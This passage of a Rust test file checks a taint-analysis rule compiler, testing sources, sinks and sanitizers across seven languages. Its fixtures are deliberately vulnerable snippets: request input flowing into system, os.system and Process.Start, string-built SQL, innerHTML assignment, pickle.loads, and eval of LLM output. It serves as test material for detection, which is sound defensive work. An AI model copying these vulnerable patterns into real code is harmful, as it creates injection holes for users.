- pattern: request
pattern-sinks:
- pattern: pickle.loads($X)
- pattern-either:
- pattern: pickle.load($X)
"#,
);
assert_eq!(r.spec.sources.len(), 3);
assert_eq!(r.spec.sinks.len(), 2);
}
#[test]
fn empty_pattern_either_warns_and_produces_no_matcher() {
let yaml = r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-either: []
pattern-sinks:
- pattern: pickle.loads($X)
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Skip(msg) => assert!(msg.contains("pattern-sources")),
other => panic!(
"expected Skip because empty pattern-either produced no sources, got {:?}",
match other {
TaintRuleParse::Compiled(_) => "Compiled",
TaintRuleParse::NotTaint => "NotTaint",
TaintRuleParse::Skip(_) => unreachable!(),
}
),
}
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: request.data
pattern-sinks:
- pattern: pickle.loads($X)
pattern-sanitizers:
- pattern-either: []
"#,
);
assert!(r.spec.sanitizers.is_empty());
}
#[test]
fn unknown_composite_still_rejected() {
let yaml2 = r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-inside: |
def $F(...):
...
pattern-sinks:
- pattern: pickle.loads($X)
"#;
let v2: YamlValue = serde_yaml_ng::from_str(yaml2).unwrap();
assert!(matches!(parse_taint_rule(&v2), TaintRuleParse::Skip(_)));
let r = compiled(
r#"
id: x
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern-inside: |
def $F(...):
...
- pattern: request.form
pattern-sinks:
- pattern: pickle.loads($X)
"#,
);
assert_eq!(r.spec.sources.len(), 1);
}
#[test]
fn compile_metavar_receiver_sink_produces_method_name() {
let m = compile("$CONN.executeQuery($X)", MatcherRole::Sink).expect("MethodName");
match m {
GenericMatcher::MethodName { method, .. } => assert_eq!(method, "executeQuery"),
_ => panic!("expected MethodName"),
}
}
#[test]
fn compile_metavar_receiver_sanitizer_produces_method_name() {
let m = compile("$OBJ.escape($X)", MatcherRole::Sanitizer).expect("MethodName sanitizer");
match m {
GenericMatcher::MethodName { method, .. } => assert_eq!(method, "escape"),
_ => panic!("expected MethodName"),
}
}
#[test]
fn metavar_receiver_as_source_is_rejected() {
assert!(compile("$OBJ.getInput($X)", MatcherRole::Source).is_none());
}
#[test]
fn metavar_without_dot_is_rejected() {
assert!(compile("$X", MatcherRole::Sink).is_none());
assert!(compile("$X($Y)", MatcherRole::Sink).is_none());
}
#[test]
fn metavar_with_multi_segment_rest_compiles_as_member_call() {
match compile("$OBJ.a.b($X)", MatcherRole::Sink) {
Some(GenericMatcher::FieldName { field, .. }) => assert_eq!(field, "a"),
other => panic!("expected FieldName{{a}}, got {other:?}"),
}
assert!(compile("$OBJ.$F.b($X)", MatcherRole::Sink).is_none());
}
#[test]
fn metavar_lowercase_is_rejected() {
assert!(compile("$obj.method($X)", MatcherRole::Sink).is_none());
}
#[test]
fn metavar_with_trailing_digits_is_accepted() {
assert!(is_metavariable("$ARG1"));
assert!(is_metavariable("$CONN_2"));
assert!(!is_metavariable("$obj"));
assert!(!is_metavariable("$"));
assert!(compile("$X1.executeQuery($P)", MatcherRole::Sink).is_some());
}
#[test]
fn taint_rule_with_metavar_receiver_sink_compiles() {
let r = compiled(
r#"
id: java-sql-injection
mode: taint
languages: [java]
severity: ERROR
message: "Tainted input reaches executeQuery"
metadata:
cwe: "CWE-89"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: $CONN.executeQuery($X)
"#,
);
assert_eq!(r.spec.sinks.len(), 1);
match &r.spec.sinks[0] {
GenericMatcher::MethodName { method, .. } => assert_eq!(method, "executeQuery"),
other => panic!("expected MethodName sink, got {:?}", other),
}
}
#[test]
fn java_taint_method_name_sink_produces_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-sql-metavar
mode: taint
languages: [java]
severity: ERROR
message: "SQL injection via executeQuery"
metadata:
cwe: "CWE-89"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: $CONN.executeQuery($X)
"#,
);
let src = r#"
class Dao {
void query(HttpServletRequest request, Connection conn) throws Exception {
String input = request.getParameter("id");
conn.executeQuery(input);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for request.getParameter -> conn.executeQuery flow, got none"
);
assert!(
findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("executeQuery")),
"sink description should mention executeQuery: {:?}",
findings[0]
);
}
#[test]
fn java_taint_method_name_non_matching_method_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-sql-metavar-negative
mode: taint
languages: [java]
severity: ERROR
message: "SQL injection via executeQuery"
pattern-sources:
- pattern: request.getParameter($X)
pattern-sinks:
- pattern: $CONN.executeQuery($X)
"#,
);
let src = r#"
class Dao {
void update(HttpServletRequest request, Connection conn) throws Exception {
String input = request.getParameter("id");
conn.executeUpdate(input);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("Java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"executeUpdate should NOT trigger the executeQuery rule, got {:?}",
findings
);
}
#[test]
fn compile_member_assign_sink_produces_member_assign() {
let m = compile("$EL.innerHTML = $X", MatcherRole::Sink).expect("MemberAssign");
match m {
GenericMatcher::MemberAssign { field, .. } => assert_eq!(field, "innerHTML"),
_ => panic!("expected MemberAssign"),
}
}
#[test]
fn compile_member_assign_sanitizer_produces_member_assign() {
let m =
compile("$EL.outerHTML = $X", MatcherRole::Sanitizer).expect("MemberAssign sanitizer");
match m {
GenericMatcher::MemberAssign { field, .. } => assert_eq!(field, "outerHTML"),
_ => panic!("expected MemberAssign"),
}
}
#[test]
fn compile_member_assign_source_is_rejected() {
assert!(compile("$EL.innerHTML = $X", MatcherRole::Source).is_none());
}
#[test]
fn member_assign_equality_operator_is_rejected() {
assert!(compile("$EL.innerHTML == $X", MatcherRole::Sink).is_none());
}
#[test]
fn member_assign_plain_receiver_not_compiled_as_member_assign() {
assert!(compile("el.innerHTML = $X", MatcherRole::Sink).is_none());
}
#[test]
fn member_assign_multi_segment_lhs_is_rejected() {
assert!(compile("$EL.a.b = $X", MatcherRole::Sink).is_none());
}
#[test]
fn taint_rule_with_member_assign_sink_compiles() {
let r = compiled(
r#"
id: js-dom-xss-innerhtml
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted input reaches innerHTML"
metadata:
cwe: "CWE-79"
pattern-sources:
- pattern: req.query
pattern-sinks:
- pattern: $EL.innerHTML = $X
"#,
);
assert_eq!(r.spec.sinks.len(), 1);
match &r.spec.sinks[0] {
GenericMatcher::MemberAssign { field, .. } => assert_eq!(field, "innerHTML"),
other => panic!("expected MemberAssign sink, got {:?}", other),
}
}
#[test]
fn js_taint_member_assign_sink_produces_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-dom-xss-innerhtml-e2e
mode: taint
languages: [javascript]
severity: ERROR
message: "DOM XSS via innerHTML"
metadata:
cwe: "CWE-79"
pattern-sources:
- pattern: req.query
pattern-sinks:
- pattern: $EL.innerHTML = $X
"#,
);
let src = r#"
function handler(req) {
var data = req.query.name;
document.getElementById("target").innerHTML = data;
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("JS fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for req.query -> innerHTML flow, got none"
);
assert!(
findings[0]
.sink_description
.as_deref()
.is_some_and(|d| d.contains("innerHTML")),
"sink description should mention innerHTML: {:?}",
findings[0]
);
}
#[test]
fn js_taint_member_assign_non_matching_field_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-dom-xss-innerhtml-neg
mode: taint
languages: [javascript]
severity: ERROR
message: "DOM XSS via innerHTML"
pattern-sources:
- pattern: req.query
pattern-sinks:
- pattern: $EL.innerHTML = $X
"#,
);
let src = r#"
function handler(req) {
var data = req.query.name;
document.getElementById("target").textContent = data;
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("JS fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"textContent assignment should NOT trigger the innerHTML rule, got {:?}",
findings
);
}
#[test]
fn patterns_block_single_pattern_source_to_sink_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: patterns-block-single-pattern
mode: taint
languages: [python]
severity: ERROR
message: "Tainted data reaches pickle.loads"
pattern-sources:
- patterns:
- pattern: request.data
pattern-sinks:
- patterns:
- pattern: pickle.loads($X)
"#,
);
assert_eq!(rule.spec.sources.len(), 1, "source from patterns: block");
assert_eq!(rule.spec.sinks.len(), 1, "sink from patterns: block");
let src = r#"
import pickle
def view(request):
data = request.data
result = pickle.loads(data)
return result
"#;
let tree = parse_file(src, Language::Python).expect("Python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
!findings.is_empty(),
"expected a finding for request.data -> pickle.loads flow, got none"
);
}
#[test]
fn patterns_block_with_pattern_either_compiles_all_alternatives() {
let r = compiled(
r#"
id: patterns-block-pattern-either
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- pattern: request.data
pattern-sinks:
- patterns:
- pattern-either:
- pattern: pickle.loads($X)
- pattern: pickle.load($X)
- pattern: eval($X)
"#,
);
assert_eq!(
r.spec.sinks.len(),
3,
"expected 3 sink matchers from patterns: {{ pattern-either: [3] }}"
);
}
#[test]
fn patterns_block_with_unsupported_constraint_compiles_with_broadening() {
let r = compiled(
r#"
id: patterns-block-broadening
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- patterns:
- pattern-inside: |
def handler(event, context):
...
- pattern: event
pattern-sinks:
- patterns:
- focus-metavariable: $CMD
- pattern-either:
- pattern: os.system($CMD)
- pattern: os.popen($CMD)
"#,
);
assert_eq!(
r.spec.sources.len(),
1,
"source compiled despite dropped pattern-inside"
);
assert_eq!(
r.spec.sinks.len(),
2,
"sinks compiled despite dropped focus-metavariable"
);
}
#[test]
fn patterns_block_no_expressible_matcher_warn_skips_gracefully() {
let yaml = r#"
id: patterns-block-no-expressible
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- patterns:
- pattern-inside: |
def handler(event, context):
...
- focus-metavariable: $X
pattern-sinks:
- pattern: pickle.loads($X)
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Skip(msg) => {
assert!(
msg.contains("pattern-sources"),
"skip message should mention pattern-sources: {msg}"
);
}
TaintRuleParse::Compiled(_) => {
panic!("expected Skip when patterns: block has no expressible matchers")
}
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn php_bridge_bare_get_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-get-cmdi
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
- pattern: $_GET
pattern-sinks:
- pattern: system($X)
"#,
);
let src = "<?php\nfunction handle() {\n $c = $_GET['cmd'];\n system($c);\n}\n";
let tree = parse_file(src, Language::Php).expect("PHP fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for $_GET['cmd'] -> system, got {:?}",
findings
);
assert_eq!(
findings[0].line, 4,
"finding should be at the system() sink line"
);
}
#[test]
fn php_bridge_bare_get_source_sanitized_produces_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-get-cmdi-sanitized
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
- pattern: $_GET
pattern-sanitizers:
- pattern: escapeshellarg($X)
pattern-sinks:
- pattern: system($X)
"#,
);
let src =
"<?php\nfunction handle() {\n $c = escapeshellarg($_GET['cmd']);\n system($c);\n}\n";
let tree = parse_file(src, Language::Php).expect("PHP fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"sanitized $_GET flow must produce no finding, got {:?}",
findings
);
}
#[test]
fn php_bridge_bare_get_source_near_miss_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-get-cmdi-nearmiss
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
- pattern: $_GET
pattern-sinks:
- pattern: system($X)
"#,
);
let src = "<?php\nfunction handle() {\n $tainted = $_GET['cmd'];\n $safe = 'ls';\n system($safe);\n}\n";
let tree = parse_file(src, Language::Php).expect("PHP fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"untainted argument must not fire, got {:?}",
findings
);
}
#[test]
fn taint_rule_with_php_language_compiles() {
let yaml = r#"
id: php-taint
mode: taint
languages: [php]
severity: ERROR
message: m
pattern-sources: [{pattern: $_GET}]
pattern-sinks: [{pattern: system($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::Php);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn csharp_bridge_dotted_source_to_process_start_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-cmd-injection
mode: taint
languages: [csharp]
severity: ERROR
message: "Tainted input reaches Process.Start"
metadata:
cwe: "CWE-78"
pattern-sources:
- pattern: Request.QueryString
pattern-sinks:
- pattern: Process.Start($X)
"#,
);
let src = r#"
using System.Web;
using System.Diagnostics;
class Controller {
public void Handle() {
string cmd = Request.QueryString["cmd"];
Process.Start(cmd);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for Request.QueryString -> Process.Start, got {:?}",
findings
);
assert!(
findings[0].line > 0,
"finding should carry a valid line number"
);
}
#[test]
fn csharp_bridge_sanitized_variant_produces_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-xss-sanitized
mode: taint
languages: [csharp]
severity: ERROR
message: "Tainted input reaches Response.Write"
pattern-sources:
- pattern: Request.QueryString
pattern-sanitizers:
- pattern: HttpUtility.HtmlEncode($X)
pattern-sinks:
- pattern: Response.Write($X)
"#,
);
let src = r#"
using System.Web;
class Controller {
public void Handle() {
string raw = Request.QueryString["q"];
string safe = HttpUtility.HtmlEncode(raw);
Response.Write(safe);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"sanitized flow must produce no finding, got {:?}",
findings
);
}
#[test]
fn csharp_bridge_near_miss_produces_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-cmd-nearmiss
mode: taint
languages: [csharp]
severity: ERROR
message: "Tainted input reaches Process.Start"
pattern-sources:
- pattern: Request.QueryString
pattern-sinks:
- pattern: Process.Start($X)
"#,
);
let src = r#"
using System.Web;
using System.Diagnostics;
class Controller {
public void Handle() {
string _tainted = Request.QueryString["cmd"];
Process.Start("notepad.exe");
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"near-miss must produce no finding, got {:?}",
findings
);
}
#[test]
fn taint_rule_with_csharp_language_compiles() {
let yaml = r#"
id: cs-taint
mode: taint
languages: [csharp]
severity: ERROR
message: m
pattern-sources: [{pattern: Request.QueryString}]
pattern-sinks: [{pattern: Process.Start($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert_eq!(r.lang, Language::CSharp);
assert_eq!(r.spec.sources.len(), 1);
assert_eq!(r.spec.sinks.len(), 1);
}
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn taint_rule_with_cs_alias_compiles_as_csharp() {
let yaml = r#"
id: cs-taint
mode: taint
languages: [cs]
severity: ERROR
message: m
pattern-sources: [{pattern: Request.QueryString}]
pattern-sinks: [{pattern: Process.Start($X)}]
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => assert_eq!(r.lang, Language::CSharp),
TaintRuleParse::Skip(msg) => panic!("unexpected skip: {}", msg),
TaintRuleParse::NotTaint => panic!("expected taint rule"),
}
}
#[test]
fn csharp_bridge_console_readline_to_process_start() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-console-cmdi
mode: taint
languages: [csharp]
severity: ERROR
message: "Console.ReadLine input reaches Process.Start"
pattern-sources:
- pattern: Console.ReadLine($X)
pattern-sinks:
- pattern: Process.Start($X)
"#,
);
let src = r#"
using System;
using System.Diagnostics;
class App {
static void Main() {
string cmd = Console.ReadLine();
Process.Start(cmd);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for Console.ReadLine -> Process.Start, got {:?}",
findings
);
}
#[test]
fn python_bridge_fieldname_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-fieldname-cmdi
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request body reaches os.system"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- pattern: os.system($X)
"#,
);
assert!(matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::FieldName { field, .. }] if field == "body"
));
let src = r#"
def handler(req):
data = req.body
os.system(data)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.body -> os.system, got {:?}",
findings
);
}
#[test]
fn python_bridge_fieldname_safe_property_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-fieldname-cmdi-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request body reaches os.system"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- pattern: os.system($X)
"#,
);
let src = r#"
def handler(req):
data = req.session
os.system(data)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"req.session is not `.body`; expected no finding, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_fieldname_source_to_eval_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-fieldname-eval
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted req.query reaches eval"
pattern-sources:
- pattern: $REQ.query
pattern-sinks:
- pattern: eval($X)
"#,
);
let src = r#"
function handler(req) {
const q = req.query;
eval(q);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.query -> eval, got {:?}",
findings
);
}
#[test]
fn python_bridge_subscript_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-subscript-cmdi
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request.POST reaches os.system"
pattern-sources:
- pattern: request.POST[...]
pattern-sinks:
- pattern: os.system($X)
"#,
);
assert!(matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::Subscript { base: Some(b), .. }] if b == "POST"
));
let src = r#"
def handler(request):
cmd = request.POST["c"]
os.system(cmd)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for request.POST[...] -> os.system, got {:?}",
findings
);
}
#[test]
fn python_bridge_subscript_safe_base_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-subscript-cmdi-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request.POST reaches os.system"
pattern-sources:
- pattern: request.POST[...]
pattern-sinks:
- pattern: os.system($X)
"#,
);
let src = r#"
def handler(config):
cmd = config.SETTINGS["c"]
os.system(cmd)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"config.SETTINGS[...] is not request.POST[...]; expected no finding, got {:?}",
findings
);
}
#[test]
fn php_bridge_subscript_source_to_system_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-subscript-cmdi
mode: taint
languages: [php]
severity: ERROR
message: "Tainted $_GET reaches system"
pattern-sources:
- pattern: $_GET[...]
pattern-sinks:
- pattern: system($X)
"#,
);
let src = r#"<?php
function handler() {
$cmd = $_GET["c"];
system($cmd);
}
"#;
let tree = parse_file(src, Language::Php).expect("php fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for $_GET[...] -> system, got {:?}",
findings
);
}
#[test]
fn python_bridge_receivercall_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-receivercall-cmdi
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request reaches os.<any>"
pattern-sources:
- pattern: $REQ.cmd
pattern-sinks:
- pattern: os.$METHOD(...)
"#,
);
assert!(matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::ReceiverCall { receiver, .. }] if receiver == "os"
));
let src = r#"
def handler(req):
c = req.cmd
os.system(c)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.cmd -> os.system (os.$METHOD), got {:?}",
findings
);
}
#[test]
fn python_bridge_receivercall_other_receiver_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-receivercall-cmdi-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request reaches os.<any>"
pattern-sources:
- pattern: $REQ.cmd
pattern-sinks:
- pattern: os.$METHOD(...)
"#,
);
let src = r#"
def handler(req):
c = req.cmd
logger.info(c)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"logger.info is not os.$METHOD; expected no finding, got {:?}",
findings
);
}
#[test]
fn ruby_bridge_receivercall_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-receivercall-cmdi
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted params reaches Kernel.<any>"
pattern-sources:
- pattern: params
pattern-sinks:
- pattern: Kernel.$X(...)
"#,
);
let src = r#"
def handler
cmd = params[:cmd]
Kernel.system(cmd)
end
"#;
let tree = parse_file(src, Language::Ruby).expect("ruby fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for params -> Kernel.system (Kernel.$X), got {:?}",
findings
);
}
#[test]
fn python_bridge_binop_format_concat_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-binop-sqli
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into a built SQL string"
pattern-sources:
- pattern: $REQ.args
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::BinopFormat { .. }]
),
"sink should compile to BinopFormat, got {:?}",
rule.spec.sinks
);
let src = r#"
def handler(req):
name = req.args
query = "SELECT * FROM t WHERE n = " + name
db.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.args -> \"...\" + name, got {:?}",
findings
);
}
#[test]
fn python_bridge_binop_format_untainted_concat_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-binop-sqli-safe
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into a built SQL string"
pattern-sources:
- pattern: $REQ.args
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
let src = r#"
def handler(req):
name = req.args
query = "SELECT * FROM t WHERE n = " + "constant"
db.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal-only concat has no tainted operand; expected no finding, got {:?}",
findings
);
}
#[test]
fn python_bridge_binop_format_fstring_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-binop-fstring-sqli
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into an f-string SQL"
pattern-sources:
- pattern: $REQ.args
pattern-sinks:
- pattern: 'f"...{$X}..."'
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::BinopFormat { .. }]
),
"f-string sink should compile to BinopFormat, got {:?}",
rule.spec.sinks
);
let src = r#"
def handler(req):
name = req.args
query = f"SELECT * FROM t WHERE n = {name}"
db.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.args -> f-string, got {:?}",
findings
);
}
#[test]
fn python_bridge_binop_format_percent_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-binop-percent-html
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request flows into a percent-formatted string"
pattern-sources:
- pattern: $REQ.args
pattern-sinks:
- pattern: '"$HTMLSTR" % ...'
"#,
);
let src = r#"
def handler(req):
name = req.args
page = "<b>%s</b>" % name
render(page)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.args -> \"...\" % name, got {:?}",
findings
);
}
#[test]
fn go_bridge_binop_format_concat_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: go-binop-sqli
mode: taint
languages: [go]
severity: ERROR
message: "Tainted request value flows into a built SQL string"
pattern-sources:
- pattern: $REQ.Body
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::BinopFormat { .. }]
),
"go sink should compile to BinopFormat, got {:?}",
rule.spec.sinks
);
let src = r#"
package main
func handler(r *Request) {
name := r.Body
query := "SELECT * FROM t WHERE n = " + name
db.Exec(query)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for r.Body -> \"...\" + name, got {:?}",
findings
);
}
#[test]
fn go_bridge_binop_format_untainted_concat_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: go-binop-sqli-safe
mode: taint
languages: [go]
severity: ERROR
message: "Tainted request value flows into a built SQL string"
pattern-sources:
- pattern: $REQ.Body
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
let src = r#"
package main
func handler(r *Request) {
_ = r.Body
query := "SELECT * FROM t WHERE n = " + "constant"
db.Exec(query)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal-only concat has no tainted operand; expected no finding, got {:?}",
findings
);
}
#[test]
fn python_bridge_member_call_llm_source_to_eval_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-llm-output-to-exec
mode: taint
languages: [python]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
- pattern: $CLIENT.chat.completions.create(...)
pattern-sinks:
- pattern: eval($SINK)
"#,
);
assert!(
matches!(rule.spec.sources.as_slice(), [GenericMatcher::FieldName { field, .. }] if field == "completions"),
"source should compile to FieldName{{completions}}, got {:?}",
rule.spec.sources
);
let src = r#"
def run(client):
out = client.chat.completions.create(model="gpt-4")
eval(out)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for completions.create -> eval, got {:?}",
findings
);
}
#[test]
fn python_bridge_member_call_different_field_near_miss_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-llm-output-to-exec
mode: taint
languages: [python]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
- pattern: $CLIENT.chat.completions.create(...)
pattern-sinks:
- pattern: eval($SINK)
"#,
);
let src = r#"
def run(client):
out = client.chat.other.create(model="gpt-4")
eval(out)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"different penultimate field must not taint; expected no finding, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_member_call_llm_source_to_eval_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-llm-output-to-exec
mode: taint
languages: [javascript]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
- pattern: $CLIENT.messages.create(...)
pattern-sinks:
- pattern: eval($SINK)
"#,
);
assert!(
matches!(rule.spec.sources.as_slice(), [GenericMatcher::FieldName { field, .. }] if field == "messages"),
"source should compile to FieldName{{messages}}, got {:?}",
rule.spec.sources
);
let src = r#"
function run(client) {
const out = client.messages.create({model: "claude"});
eval(out);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for messages.create -> eval, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_member_call_different_field_near_miss_no_finding() {
use crate::engine::parser::parse_file;
